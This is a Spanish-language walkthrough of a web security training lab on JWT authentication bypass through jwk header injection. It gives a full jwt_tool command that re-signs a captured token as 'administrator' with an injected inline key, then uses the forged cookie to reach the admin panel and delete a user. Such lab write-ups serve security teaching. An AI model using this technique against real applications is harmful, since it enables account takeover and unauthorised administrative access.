
Descripción
This lab uses a JWT-based mechanism for handling sessions. The server supports the jwk
parameter in the JWT header. This is sometimes used to embed the correct verification key directly in the token. However, it fails to check whether the provided key came from a trusted source.
To solve the lab, modify and sign a JWT that gives you access to the admin panel at /admin
, then delete the user carlos
.
You can log in to your own account using the following credentials: wiener:peter
JWT authentication bypass via jwk header injection writeup
Entramos al laboratorio, vamos a ‘My account’ y al iniciar sesión veremos que se nos ha insertado en el navegador una cookie JWT:

Sabemos que es un JWT debido a que está separada por 2 puntos. Nos la llevaremos a jwt.io y veremos sus valores:

Vemos que tenemos que cambiar el usuario ‘sub’ de wiener a ‘administrator’ y volver a firmar el token. Para ello usaremos JWT_Tool con el siguiente comando:
python3 jwt_tool.py eyJraWQiOiI5Mzk2YTEyNy05NzQ0LTQ1ZDUtYTQyMC1iMGE2NjgxZWUyMjciLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNzA0MjYyNiwic3ViIjoid2llbmVyIn0.Y0c4Y8hmLq7Os-81avnhytUQWNwAymVaRn9KycGs1qed_TmcXCrU6JhRNVtHnQjD-69O9ZrEc6-apL-Pbs8L6pJqNuSGNSKGuI0WXWIjZZ_j9WvZQPiuMk80kDObbOpV_Y20fVGYrWVcJRMRw0OCKf4P4coEL3BWnfJSYgbk86zJv142foyzqwRU_DUKMo6W3dHdytucAct3_MfoeNo2jMa8lSa6syWXM1sRFN_lF2izwYnWxvnrmFW8EYr3p4swIGJbVLOUi2PwYxQPU2-6U_kPegvxb1bvYvv8881aZQBycGNv00vJ-2_csfEdhThTiWP9VZPXNiGaEzSw4h104Q -I -pc sub -pv administrator -hc kid -hv jwt_tool -X i
Proporcionaremos el JWT de la aplicación y usaremos los siguientes argumentos:
- -I: Inyecta los siguientes valores.
- -pc: Payload claim. En el sitio de ‘sub’.
- -pv: Payload value. Pone ‘administrator’.
- -hc: Header claim. En el sitio de ‘kid’.
- -hv: Pone ‘jwt_tool’.
- -X: Explota la vulnerabilidad…
- i: Inyect inline JWKS.
El resultado es el siguiente:

Copiaremos el nuevo token (sin el salto de línea, si no no funcionará) y lo sustituiremos por nuestra cookie, consiguiendo que la página nos identifique como ‘administrator’ y dándonos acceso al ‘Admin panel’. Allí borraremos al usuario ‘carlos’ y completaremos el laboratorio:
